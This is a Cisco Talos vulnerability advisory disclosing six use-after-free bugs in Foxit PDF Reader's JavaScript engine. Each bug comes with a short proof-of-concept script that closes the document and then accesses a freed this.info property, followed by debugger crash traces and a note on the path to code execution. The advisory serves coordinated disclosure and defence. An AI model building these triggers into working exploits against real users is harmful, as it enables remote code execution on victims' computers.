Talos Vulnerability Report

TALOS-2018-0628

Foxit PDF Reader JavaScript this.info multiple remote code execution vulnerabilities

October 1, 2018
CVE Number

CVE-2018-3957, CVE-2018-3958, CVE-2018-3959, CVE-2018-3960, CVE-2018-3961, CVE-2018-3962

Summary

A total of six separate use-after-free vulnerabilities exist in the JavaScript engine of Foxit Software's Foxit PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to run. Direct access to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code. It should be noted that closeDoc method requires higher privileges so either the document needs to come from a trusted location or the user must click a dialogue box that allows it to run.

This particular vulnerability lies in accessing saved references to certain properties of this.info object, which can trigger a use-after-free condition. Specific examples are below.

CVE-2018-3957 this.info["Keywords"]

A use-after-free condition can occur when accessing the Keywords property of the this.info object. The following code demonstrates this:

function main() {
var tmp  = this.info; 
app.activeDocs[0].closeDoc();
tmp['Keywords'].toString();
}
main();

This results in the following crash:

(1660.874): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0021e2bc ebx=00000000 ecx=0e8b2da8 edx=00000000 esi=12082fd8 edi=12082fd8
eip=01ac0e76 esp=0021e2a8 ebp=0021e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
01ac0e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e8b2da8=????????
0:000> !heap -p -a ecx
    address 0e8b2da8 found in
    _DPH_HEAP_ROOT @ 7651000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e7e2a28:          e8b2000             2000
    68ef90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    02efdf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    013f08bf FoxitReader+0x000d08bf
    013f28a8 FoxitReader+0x000d28a8
    0153965e FoxitReader+0x0021965e
    0153942b FoxitReader+0x0021942b
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x695c6:
01ac0e76 8b01            mov     eax,dword ptr [ecx]
01ac0e78 8b5004          mov     edx,dword ptr [eax+4]
01ac0e7b ffd2            call    edx
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0021e2c8 01ac1075 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 0021e2e4 01ac80e9 FoxitReader!CryptVerifyMessageSignature+0x697c5
02 0021e340 016a182e FoxitReader!CryptVerifyMessageSignature+0x70839
03 0021e384 02ba9d10 FoxitReader+0x38182e
04 0021e3b0 02a34403 FoxitReader!CryptVerifyMessageSignature+0x1152460

CVE-2018-3958 this.info["Subject"]

A use-after-free condition can occur when accessing the Subject property of the this.info object. The following code demonstrates this:

function main() {
var tmp = this.info;
app.activeDocs[0].closeDoc();
tmp["Subject"] = "";
}
main();

This results in the following crash:

(b84.173c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0028e120 ebx=00000000 ecx=0e4e2da8 edx=00000001 esi=11c21fd8 edi=11c21fd8
eip=00a70e76 esp=0028e10c ebp=0028e12c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
00a70e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e4e2da8=????????
0:000> !heap -p -a ecx
    address 0e4e2da8 found in
    _DPH_HEAP_ROOT @ 7661000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e412a28:          e4e2000             2000
    69f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    01eadf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    003a08bf FoxitReader+0x000d08bf
    003a28a8 FoxitReader+0x000d28a8
    004e965e FoxitReader+0x0021965e
    004e942b FoxitReader+0x0021942b
    004f842a FoxitReader+0x0022842a
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x695c6:
00a70e76 8b01            mov     eax,dword ptr [ecx]
00a70e78 8b5004          mov     edx,dword ptr [eax+4]
00a70e7b ffd2            call    edx
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0028e12c 00a71045 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 0028e148 00a77eaa FoxitReader!CryptVerifyMessageSignature+0x69795
02 0028e1a4 006519b1 FoxitReader!CryptVerifyMessageSignature+0x705fa
03 0028e1e4 01b59924 FoxitReader+0x3819b1
04 0028e214 019e5660 FoxitReader!CryptVerifyMessageSignature+0x1152074

CVE-2018-3959 this.info["Author"]

A use-after-free condition can occur when accessing the Author property of the this.info object. The following code demonstrates this:

function main() {
var tmp  = this.info; 
app.activeDocs[0].closeDoc();
tmp['Author'] ="";
}
main();    

This results in the following crash:

(ffc.11f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0023e720 ebx=00000000 ecx=0e4a2da8 edx=00000001 esi=11becfd8 edi=11becfd8
eip=019b0e76 esp=0023e70c ebp=0023e72c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
019b0e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e4a2da8=????????
0:000> !heap -p -a ecx
    address 0e4a2da8 found in
    _DPH_HEAP_ROOT @ 75b1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e3d2a28:          e4a2000             2000
    6a3990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    02dedf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    012e08bf FoxitReader+0x000d08bf
    012e28a8 FoxitReader+0x000d28a8
    0142965e FoxitReader+0x0021965e
    0142942b FoxitReader+0x0021942b
    0143842a FoxitReader+0x0022842a
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x695c6:
019b0e76 8b01            mov     eax,dword ptr [ecx]
019b0e78 8b5004          mov     edx,dword ptr [eax+4]
019b0e7b ffd2            call    edx
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0023e72c 019b1015 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 0023e748 019b7a2a FoxitReader!CryptVerifyMessageSignature+0x69765
02 0023e7a4 015919b1 FoxitReader!CryptVerifyMessageSignature+0x7017a
03 0023e7e4 02a99924 FoxitReader+0x3819b1
04 0023e814 02925660 FoxitReader!CryptVerifyMessageSignature+0x1152074

CVE-2018-3960 this.info["Producer"]

A use-after-free condition can occur when accessing the Producer property of the this.info object. The following code demonstrates this:

function main() {
var tmp  = this.info; 
app.activeDocs[0].closeDoc();
tmp['Producer'] ="";
}
main();

This results in the following crash:

(88c.a30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03eae238 ebx=00000000 ecx=0e502da8 edx=00000001 esi=11c41fd8 edi=11c41fd8
eip=00840e76 esp=03eae224 ebp=03eae244 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
00840e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e502da8=????????
0:000> !heap -p -a ecx 
    address 0e502da8 found in
    _DPH_HEAP_ROOT @ 7591000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e432a28:          e502000             2000
    6a3990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    01c7df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    001708bf FoxitReader+0x000d08bf
    001728a8 FoxitReader+0x000d28a8
    002b965e FoxitReader+0x0021965e
    002b942b FoxitReader+0x0021942b
    002c842a FoxitReader+0x0022842a
    002b2fd7 FoxitReader+0x00212fd7
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x695c6:
00840e76 8b01            mov     eax,dword ptr [ecx]
00840e78 8b5004          mov     edx,dword ptr [eax+4]
00840e7b ffd2            call    edx
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 03eae244 008410d5 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 03eae260 00848c2a FoxitReader!CryptVerifyMessageSignature+0x69825
02 03eae2bc 004219b1 FoxitReader!CryptVerifyMessageSignature+0x7137a
03 03eae2fc 01929924 FoxitReader+0x3819b1
04 03eae32c 017b5660 FoxitReader!CryptVerifyMessageSignature+0x1152074

CVE-2018-3961 this.info["Creator"]

A use-after-free condition can occur when accessing the Creator property of the this.info object. The following code demonstrates this:

function main() {
var tmp = this.info; 
app.activeDocs[0].closeDoc(); 
tmp["Creator"].toString = f0;
}
function f0() {
}
main();

This results in the following crash:

(1368.98c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0015e7b4 ebx=00000000 ecx=0e5f2da8 edx=00000000 esi=11d33fd8 edi=11d33fd8
eip=01920e76 esp=0015e7a0 ebp=0015e7c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
01920e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e5f2da8=????????
0:000> !heap -p -a ecx
    address 0e5f2da8 found in
    _DPH_HEAP_ROOT @ 7461000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e522a28:          e5f2000             2000
    6a3990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    02d5df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    012508bf FoxitReader+0x000d08bf
    012528a8 FoxitReader+0x000d28a8
    0139965e FoxitReader+0x0021965e
    0139942b FoxitReader+0x0021942b
    013a842a FoxitReader+0x0022842a
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x695c6:
01920e76 8b01            mov     eax,dword ptr [ecx]
01920e78 8b5004          mov     edx,dword ptr [eax+4]
01920e7b ffd2            call    edx
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0015e7c0 019210a5 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 0015e7dc 01928569 FoxitReader!CryptVerifyMessageSignature+0x697f5
02 0015e838 0150182e FoxitReader!CryptVerifyMessageSignature+0x70cb9
03 0015e87c 02a09d10 FoxitReader+0x38182e
04 0015e8a8 02894403 FoxitReader!CryptVerifyMessageSignature+0x1152460

CVE-2018-3962 this.info["CreationDate"]

A use-after-free condition can occur when accessing the CreationDate property of the this.info object. The following code demonstrates this:

function main() {
var tmp = this.info;
app.activeDocs[0].closeDoc(); 
tmp['CreationDate'].toString();
}
main();

This results in the following crash:

(aa0.1350): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=002de91c ebx=00000000 ecx=0e492da8 edx=00000000 esi=11bdafd8 edi=11bdafd8
eip=01a50e76 esp=002de908 ebp=002de928 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
01a50e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e492da8=????????
0:000> !heap -p -a ecx
    address 0e492da8 found in
    _DPH_HEAP_ROOT @ 7531000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e3c2a28:          e492000             2000
    6a2390b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77d869cc ntdll!RtlDebugFreeHeap+0x0000002f
    77d49e07 ntdll!RtlpFreeHeap+0x0000005d
    77d163a6 ntdll!RtlFreeHeap+0x00000142
    76ccc614 kernel32!HeapFree+0x00000014
    02e8df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    013808bf FoxitReader+0x000d08bf
    013828a8 FoxitReader+0x000d28a8
    014c965e FoxitReader+0x0021965e
    014c942b FoxitReader+0x0021942b
    014d842a FoxitReader+0x0022842a
    014c2fd7 FoxitReader+0x00212fd7
FoxitReader!CryptVerifyMessageSignature+0x695c6:
01a50e76 8b01            mov     eax,dword ptr [ecx]
01a50e78 8b5004          mov     edx,dword ptr [eax+4]
01a50e7b ffd2            call    edx
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002de928 01a51105 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 002de944 01a58e69 FoxitReader!CryptVerifyMessageSignature+0x69855
02 002de9a0 0163182e FoxitReader!CryptVerifyMessageSignature+0x715b9
03 002de9e4 02b39d10 FoxitReader+0x38182e
04 002dea10 029c4403 FoxitReader!CryptVerifyMessageSignature+0x1152460

In all of the above crashes, access violation happens when memory pointed to by ecx is dereferenced, which is already freed. If this memory location is placed under attacker control, a double dereference could lead to control over contents of edx which is used in a call instruction, thus leading to arbitrary code execution.

It should be pointed out that even though all of the above crashes happen at the same place, the execution paths are different, as evidenced by the call stack, thus separate CVEs have been allocated for each.

Timeline

2018-07-16 - Vendor Disclosure
2018-09-18 - Vendor Patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.